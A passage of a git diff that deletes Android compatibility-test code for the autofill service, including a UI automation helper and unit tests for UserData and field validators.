-        // TODO: figure out why obj.longClick() doesn't always work
-        field.click(LONG_PRESS_MS);
-
-        List<UiObject2> menuItems = waitForObjects(
-                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
-        final String expectedText = getAutofillContextualMenuTitle();
-
-        final StringBuffer menuNames = new StringBuffer();
-
-        // Check first menu for AUTOFILL
-        for (UiObject2 menuItem : menuItems) {
-            final String menuName = menuItem.getText();
-            if (menuName.equalsIgnoreCase(expectedText)) {
-                Log.v(TAG, "AUTOFILL found in first menu");
-                return menuItem;
-            }
-            menuNames.append("'").append(menuName).append("' ");
-        }
-
-        menuNames.append(";");
-
-        // First menu does not have AUTOFILL, check overflow
-        final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
-
-        // Click overflow menu button.
-        final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
-        overflowMenu.click();
-
-        // Wait for overflow menu to show.
-        mDevice.wait(Until.gone(overflowSelector), 1000);
-
-        menuItems = waitForObjects(
-                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
-        for (UiObject2 menuItem : menuItems) {
-            final String menuName = menuItem.getText();
-            if (menuName.equalsIgnoreCase(expectedText)) {
-                Log.v(TAG, "AUTOFILL found in overflow menu");
-                return menuItem;
-            }
-            menuNames.append("'").append(menuName).append("' ");
-        }
-        throw new RetryableException("no '%s' on '%s'", expectedText, menuNames);
-    }
-
-    String getAutofillContextualMenuTitle() {
-        return getString(RESOURCE_STRING_AUTOFILL);
-    }
-
-    /**
-     * Gets a string from the Android resources.
-     */
-    private String getString(String id) {
-        final Resources resources = mContext.getResources();
-        final int stringId = resources.getIdentifier(id, "string", "android");
-        try {
-            return resources.getString(stringId);
-        } catch (Resources.NotFoundException e) {
-            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
-                    + ": ", e);
-        }
-    }
-
-    /**
-     * Gets a string from the Android resources.
-     */
-    private String getString(String id, Object... formatArgs) {
-        final Resources resources = mContext.getResources();
-        final int stringId = resources.getIdentifier(id, "string", "android");
-        try {
-            return resources.getString(stringId, formatArgs);
-        } catch (Resources.NotFoundException e) {
-            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
-                    + ": ", e);
-        }
-    }
-
-    /**
-     * Waits for and returns an object.
-     *
-     * @param selector {@link BySelector} that identifies the object.
-     */
-    private UiObject2 waitForObject(BySelector selector) throws Exception {
-        return waitForObject(selector, mDefaultTimeout);
-    }
-
-    /**
-     * Waits for and returns an object.
-     *
-     * @param parent where to find the object (or {@code null} to use device's root).
-     * @param selector {@link BySelector} that identifies the object.
-     * @param timeout timeout in ms.
-     * @param dumpOnError whether the window hierarchy should be dumped if the object is not found.
-     */
-    private UiObject2 waitForObject(UiObject2 parent, BySelector selector, Timeout timeout,
-            boolean dumpOnError) throws Exception {
-        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
-        try {
-            return timeout.run("waitForObject(" + selector + ")", () -> {
-                return parent != null
-                        ? parent.findObject(selector)
-                        : mDevice.findObject(selector);
-
-            });
-        } catch (RetryableException e) {
-            if (dumpOnError) {
-                dumpScreen("waitForObject() for " + selector + "on "
-                        + (parent == null ? "mDevice" : parent) + " failed");
-            }
-            throw e;
-        }
-    }
-
-    public UiObject2 waitForObject(@Nullable UiObject2 parent, @NonNull BySelector selector,
-            @NonNull Timeout timeout)
-            throws Exception {
-        return waitForObject(parent, selector, timeout, DUMP_ON_ERROR);
-    }
-
-    /**
-     * Waits for and returns an object.
-     *
-     * @param selector {@link BySelector} that identifies the object.
-     * @param timeout timeout in ms
-     */
-    protected UiObject2 waitForObject(@NonNull BySelector selector, @NonNull Timeout timeout)
-            throws Exception {
-        return waitForObject(/* parent= */ null, selector, timeout);
-    }
-
-    /**
-     * Waits for and returns a child from a parent {@link UiObject2}.
-     */
-    public UiObject2 assertChildText(UiObject2 parent, String resourceId, String expectedText)
-            throws Exception {
-        final UiObject2 child = waitForObject(parent, By.res(mPackageName, resourceId),
-                Timeouts.UI_TIMEOUT);
-        assertWithMessage("wrong text for view '%s'", resourceId).that(child.getText())
-                .isEqualTo(expectedText);
-        return child;
-    }
-
-    /**
-     * Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
-     * {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
-     */
-    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
-        try {
-            return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
-                switch (event.getEventType()) {
-                    case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
-                    case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
-                        return true;
-                    default:
-                        Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
-                }
-                return false;
-            }, timeoutMillis);
-        } catch (TimeoutException e) {
-            throw new WindowChangeTimeoutException(e, timeoutMillis);
-        }
-    }
-
-    public AccessibilityEvent waitForWindowChange(Runnable runnable) {
-        return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
-    }
-
-    /**
-     * Waits for and returns a list of objects.
-     *
-     * @param selector {@link BySelector} that identifies the object.
-     * @param timeout timeout in ms
-     */
-    private List<UiObject2> waitForObjects(BySelector selector, Timeout timeout) throws Exception {
-        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
-        try {
-            return timeout.run("waitForObject(" + selector + ")", () -> {
-                final List<UiObject2> uiObjects = mDevice.findObjects(selector);
-                if (uiObjects != null && !uiObjects.isEmpty()) {
-                    return uiObjects;
-                }
-                return null;
-
-            });
-
-        } catch (RetryableException e) {
-            dumpScreen("waitForObjects() for " + selector + "failed");
-            throw e;
-        }
-    }
-
-    private UiObject2 findDatasetPicker(Timeout timeout) throws Exception {
-        // The UI element here is flaky. Sometimes the UI automator returns a StateObject.
-        // Retry is put in place here to make sure that we catch the object.
-        UiObject2 picker = null;
-        int retryCount = 0;
-        final String expectedTitle = getString(RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE);
-        while (retryCount < MAX_UIOBJECT_RETRY_COUNT) {
-            try {
-                picker = waitForObject(DATASET_PICKER_SELECTOR, timeout);
-                assertAccessibilityTitle(picker, expectedTitle);
-                break;
-            } catch (StaleObjectException e) {
-                Log.d(TAG, "Retry grabbing view class");
-            }
-            retryCount++;
-        }
-        assertWithMessage(expectedTitle + " not found").that(retryCount).isLessThan(
-                MAX_UIOBJECT_RETRY_COUNT);
-
-        if (picker != null) {
-            mOkToCallAssertNoDatasets = true;
-        }
-
-        return picker;
-    }
-
-    /**
-     * Asserts a given object has the expected accessibility title.
-     */
-    private void assertAccessibilityTitle(UiObject2 object, String expectedTitle) {
-        // TODO: ideally it should get the AccessibilityWindowInfo from the object, but UiAutomator
-        // does not expose that.
-        for (AccessibilityWindowInfo window : mAutoman.getWindows()) {
-            final CharSequence title = window.getTitle();
-            if (title != null && title.toString().equals(expectedTitle)) {
-                return;
-            }
-        }
-        throw new RetryableException("Title '%s' not found for %s", expectedTitle, object);
-    }
-
-    /**
-     * Sets the the screen orientation.
-     *
-     * @param orientation typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
-     *
-     * @throws RetryableException if value didn't change.
-     */
-    public void setScreenOrientation(int orientation) throws Exception {
-        mAutoman.setRotation(orientation);
-
-        UI_SCREEN_ORIENTATION_TIMEOUT.run("setScreenOrientation(" + orientation + ")", () -> {
-            return getScreenOrientation() == orientation ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Gets the value of the screen orientation.
-     *
-     * @return typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
-     */
-    public int getScreenOrientation() {
-        return mDevice.getDisplayRotation();
-    }
-
-    /**
-     * Dumps the current view hierarchy and take a screenshot and save both locally so they can be
-     * inspected later.
-     */
-    public void dumpScreen(@NonNull String cause) {
-        try {
-            final File file = Helper.createTestFile("hierarchy.xml");
-            if (file == null) return;
-            Log.w(TAG, "Dumping window hierarchy because " + cause + " on " + file);
-            try (FileInputStream fis = new FileInputStream(file)) {
-                mDevice.dumpWindowHierarchy(file);
-            }
-        } catch (Exception e) {
-            Log.e(TAG, "error dumping screen on " + cause, e);
-        } finally {
-            takeScreenshotAndSave();
-        }
-    }
-
-    private Rect cropScreenshotWithoutScreenDecoration(Activity activity) {
-        final WindowInsets[] inset = new WindowInsets[1];
-        final View[] rootView = new View[1];
-
-        InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
-            rootView[0] = activity.getWindow().getDecorView();
-            inset[0] = rootView[0].getRootWindowInsets();
-        });
-        final int navBarHeight = inset[0].getStableInsetBottom();
-        final int statusBarHeight = inset[0].getStableInsetTop();
-
-        return new Rect(0, statusBarHeight, rootView[0].getWidth(),
-                rootView[0].getHeight() - navBarHeight - statusBarHeight);
-    }
-
-    // TODO(b/74358143): ideally we should take a screenshot limited by the boundaries of the
-    // activity window, so external elements (such as the clock) are filtered out and don't cause
-    // test flakiness when the contents are compared.
-    public Bitmap takeScreenshot() {
-        return takeScreenshotWithRect(null);
-    }
-
-    public Bitmap takeScreenshot(@NonNull Activity activity) {
-        // crop the screenshot without screen decoration to prevent test flakiness.
-        final Rect rect = cropScreenshotWithoutScreenDecoration(activity);
-        return takeScreenshotWithRect(rect);
-    }
-
-    private Bitmap takeScreenshotWithRect(@Nullable Rect r) {
-        final long before = SystemClock.elapsedRealtime();
-        final Bitmap bitmap = mAutoman.takeScreenshot();
-        final long delta = SystemClock.elapsedRealtime() - before;
-        Log.v(TAG, "Screenshot taken in " + delta + "ms");
-        if (r == null) {
-            return bitmap;
-        }
-        try {
-            return Bitmap.createBitmap(bitmap, r.left, r.top, r.right, r.bottom);
-        } finally {
-            if (bitmap != null) {
-                bitmap.recycle();
-            }
-        }
-    }
-
-    /**
-     * Takes a screenshot and save it in the file system for post-mortem analysis.
-     */
-    public void takeScreenshotAndSave() {
-        File file = null;
-        try {
-            file = Helper.createTestFile("screenshot.png");
-            if (file != null) {
-                Log.i(TAG, "Taking screenshot on " + file);
-                final Bitmap screenshot = takeScreenshot();
-                Helper.dumpBitmap(screenshot, file);
-            }
-        } catch (Exception e) {
-            Log.e(TAG, "Error taking screenshot and saving on " + file, e);
-        }
-    }
-
-    /**
-     * Asserts the contents of a child element.
-     *
-     * @param parent parent object
-     * @param childId (relative) resource id of the child
-     * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
-     * child with it.
-     */
-    public void assertChild(@NonNull UiObject2 parent, @NonNull String childId,
-            @Nullable Visitor<UiObject2> assertion) {
-        final UiObject2 child = parent.findObject(By.res(mPackageName, childId));
-        try {
-            if (assertion != null) {
-                assertWithMessage("Didn't find child with id '%s'", childId).that(child)
-                        .isNotNull();
-                try {
-                    assertion.visit(child);
-                } catch (Throwable t) {
-                    throw new AssertionError("Error on child '" + childId + "'", t);
-                }
-            } else {
-                assertWithMessage("Shouldn't find child with id '%s'", childId).that(child)
-                        .isNull();
-            }
-        } catch (RuntimeException | Error e) {
-            dumpScreen("assertChild(" + childId + ") failed: " + e);
-            throw e;
-        }
-    }
-
-    /**
-     * Finds the first {@link URLSpan} on the current screen.
-     */
-    public URLSpan findFirstUrlSpanWithText(String str) throws Exception {
-        final List<AccessibilityNodeInfo> list = mAutoman.getRootInActiveWindow()
-                .findAccessibilityNodeInfosByText(str);
-        if (list.isEmpty()) {
-            throw new AssertionError("Didn't found AccessibilityNodeInfo with " + str);
-        }
-
-        final AccessibilityNodeInfo text = list.get(0);
-        final CharSequence accessibilityTextWithSpan = text.getText();
-        if (!(accessibilityTextWithSpan instanceof Spanned)) {
-            throw new AssertionError("\"" + text.getViewIdResourceName() + "\" was not a Spanned");
-        }
-
-        final URLSpan[] spans = ((Spanned) accessibilityTextWithSpan)
-                .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
-        return spans[0];
-    }
-
-    public boolean scrollToTextObject(String text) {
-        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
-        try {
-            // Swipe far away from the edges to avoid triggering navigation gestures
-            scroller.setSwipeDeadZonePercentage(0.25);
-            return scroller.scrollTextIntoView(text);
-        } catch (UiObjectNotFoundException e) {
-            return false;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
deleted file mode 100644
index d93151d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.UserData;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-
-import com.google.common.base.Strings;
-
-import org.junit.Before;
-import org.junit.ClassRule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class UserDataTest {
-
-    private static final Context sContext = getInstrumentation().getTargetContext();
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
-            new SettingsStateChangerRule(sContext,
-                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxCategoriesSizeChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "2");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "4");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMinValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
-
-
-    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
-    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
-            + Strings.repeat("?", UserData.getMaxValueLength());
-    private final String mId = "4815162342";
-    private final String mCategoryId = "id1";
-    private final String mCategoryId2 = "id2";
-    private final String mCategoryId3 = "id3";
-    private final String mValue = mShortValue + "-1";
-    private final String mValue2 = mShortValue + "-2";
-    private final String mValue3 = mShortValue + "-3";
-    private final String mValue4 = mShortValue + "-4";
-    private final String mValue5 = mShortValue + "-5";
-
-    private UserData.Builder mBuilder;
-
-    @Before
-    public void setFixtures() {
-        mBuilder = new UserData.Builder(mId, mValue, mCategoryId);
-    }
-
-    @Test
-    public void testBuilder_invalid() {
-        assertThrows(NullPointerException.class,
-                () -> new UserData.Builder(null, mValue, mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder("", mValue, mCategoryId));
-        assertThrows(NullPointerException.class,
-                () -> new UserData.Builder(mId, null, mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder(mId, "", mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder(mId, mShortValue, mCategoryId));
-        assertThrows(IllegalArgumentException.class,
-                () -> new UserData.Builder(mId, mLongValue, mCategoryId));
-        assertThrows(NullPointerException.class, () -> new UserData.Builder(mId, mValue, null));
-        assertThrows(IllegalArgumentException.class, () -> new UserData.Builder(mId, mValue, ""));
-    }
-
-    @Test
-    public void testAdd_invalid() {
-        assertThrows(NullPointerException.class, () -> mBuilder.add(null, mCategoryId));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mCategoryId));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mShortValue, mCategoryId));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mLongValue, mCategoryId));
-        assertThrows(NullPointerException.class, () -> mBuilder.add(mValue, null));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mValue, ""));
-    }
-
-    @Test
-    public void testAdd_duplicatedValue() {
-        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId).build())
-                .isNotNull();
-        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId2).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testAdd_maximumCategoriesReached() {
-        // Max is 2; one was added in the constructor
-        mBuilder.add(mValue2, mCategoryId2);
-        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue3, mCategoryId3));
-    }
-
-    @Test
-    public void testAdd_maximumUserDataReached() {
-        // Max is 4; one was added in the constructor
-        mBuilder.add(mValue2, mCategoryId);
-        mBuilder.add(mValue3, mCategoryId);
-        mBuilder.add(mValue4, mCategoryId2);
-        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue5, mCategoryId2));
-    }
-
-    @Test
-    public void testSetFcAlgorithm() {
-        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
-                .build();
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo("algo_mas");
-    }
-
-    @Test
-    public void testSetFcAlgorithmForCategory_invalid() {
-        assertThrows(NullPointerException.class, () -> mBuilder
-                .setFieldClassificationAlgorithmForCategory(null, "algo_mas", null));
-    }
-
-    @Test
-    public void testSetFcAlgorithmForCateogry() {
-        final UserData userData = mBuilder.setFieldClassificationAlgorithmForCategory(
-                mCategoryId, "algo_mas", null).build();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isEqualTo(
-                "algo_mas");
-    }
-
-    @Test
-    public void testBuild_valid() {
-        final UserData userData = mBuilder.build();
-        assertThat(userData).isNotNull();
-        assertThat(userData.getId()).isEqualTo(mId);
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isNull();
-    }
-
-    @Test
-    public void testGetFcAlgorithmForCategory_invalid() {
-        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
-                .build();
-        assertThrows(NullPointerException.class, () -> userData
-                .getFieldClassificationAlgorithmForCategory(null));
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        testBuild_valid();
-
-        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue, mCategoryId2));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationAlgorithmForCategory(mCategoryId,
-                        "algo_mas", null));
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UsernameOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/UsernameOnlyActivity.java
deleted file mode 100644
index f5c505c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/UsernameOnlyActivity.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillId;
-import android.widget.Button;
-import android.widget.EditText;
-
-public final class UsernameOnlyActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "UsernameOnlyActivity";
-
-    private EditText mUsernameEditText;
-    private Button mNextButton;
-    private AutofillId mPasswordAutofillId;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(getContentView());
-
-        mUsernameEditText = findViewById(R.id.username);
-        mNextButton = findViewById(R.id.next);
-        mNextButton.setOnClickListener((v) -> next());
-    }
-
-    protected int getContentView() {
-        return R.layout.username_only_activity;
-    }
-
-    public void focusOnUsername() {
-        syncRunOnUiThread(() -> mUsernameEditText.requestFocus());
-    }
-
-    void setUsername(String username) {
-        syncRunOnUiThread(() -> mUsernameEditText.setText(username));
-    }
-
-    AutofillId getUsernameAutofillId() {
-        return mUsernameEditText.getAutofillId();
-    }
-
-    /**
-     * Sets the autofill id of the password using the intent that launches the new activity, so it's
-     * set before the view strucutre is generated.
-     */
-    void setPasswordAutofillId(AutofillId id) {
-        mPasswordAutofillId = id;
-    }
-
-    void next() {
-        final String username = mUsernameEditText.getText().toString();
-        Log.v(TAG, "Going to next screen as user " + username + " and aid " + mPasswordAutofillId);
-        final Intent intent = new Intent(this, PasswordOnlyActivity.class)
-                .putExtra(PasswordOnlyActivity.EXTRA_USERNAME, username)
-                .putExtra(PasswordOnlyActivity.EXTRA_PASSWORD_AUTOFILL_ID, mPasswordAutofillId);
-        startActivity(intent);
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
deleted file mode 100644
index 8a34153..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.mock;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.InternalValidator;
-import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.ValueFinder;
-import android.view.View;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-/**
- * Simple integration test to verify that the UI is only shown if the validator passes.
- */
-@AppModeFull(reason = "Service-specific test")
-public class ValidatorTest extends AbstractLoginActivityTestCase {
-
-    @Test
-    public void testShowUiWhenValidatorPass() throws Exception {
-        integrationTest(true);
-    }
-
-    @Test
-    public void testDontShowUiWhenValidatorFails() throws Exception {
-        integrationTest(false);
-    }
-
-    private void integrationTest(boolean willSaveBeShown) throws Exception {
-        enableService();
-
-        final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
-
-        // Set response
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-                    final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
-                    // Validation check to make sure the validator is properly configured
-                    assertValidator(validator, usernameId, username, willSaveBeShown);
-                    builder.setValidator(validator);
-                })
-                .build());
-
-        // Trigger auto-fill
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText(username));
-        mActivity.onPassword((v) -> v.setText("pass"));
-        mActivity.tapLogin();
-
-        if (willSaveBeShown) {
-            mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-            sReplier.getNextSaveRequest();
-        } else {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-        }
-    }
-
-    private void assertValidator(InternalValidator validator, AutofillId id, String text,
-            boolean valid) {
-        final ValueFinder valueFinder = mock(ValueFinder.class);
-        doReturn(text).when(valueFinder).findByAutofillId(id);
-        assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
deleted file mode 100644
index 63e2e3c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.service.autofill.Validators.and;
-import static android.service.autofill.Validators.not;
-import static android.service.autofill.Validators.or;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.InternalValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.ValueFinder;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class ValidatorsTest {
-
-    @Mock private Validator mInvalidValidator;
-    @Mock private ValueFinder mValueFinder;
-    @Mock private InternalValidator mValidValidator;
-    @Mock private InternalValidator mValidValidator2;
-
-    @Test
-    public void testAnd_null() {
-        assertThrows(NullPointerException.class, () -> and((Validator) null));
-        assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
-        assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
-    }
-
-    @Test
-    public void testAnd_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
-    }
-
-    @Test
-    public void testAnd_firstFailed() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isFalse();
-        verify(mValidValidator2, never()).isValid(mValueFinder);
-    }
-
-    @Test
-    public void testAnd_firstPassedSecondFailed() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isFalse();
-    }
-
-    @Test
-    public void testAnd_AllPassed() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isTrue();
-    }
-
-    @Test
-    public void testOr_null() {
-        assertThrows(NullPointerException.class, () -> or((Validator) null));
-        assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
-        assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
-    }
-
-    @Test
-    public void testOr_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
-        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
-    }
-
-    @Test
-    public void testOr_AllFailed() {
-        doReturn(false).when(mValidValidator).isValid(mValueFinder);
-        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
-        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isFalse();
-    }
-
-    @Test
-    public void testOr_firstPassed() {
-        doReturn(true).when(mValidValidator).isValid(mValueFinder);
-        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
-                .isValid(mValueFinder)).isTrue();
-        verify(mValidValidator2, never()).isValid(mValueFinder);
-    }
-
-    @Test
-    public void testOr_secondPassed() {
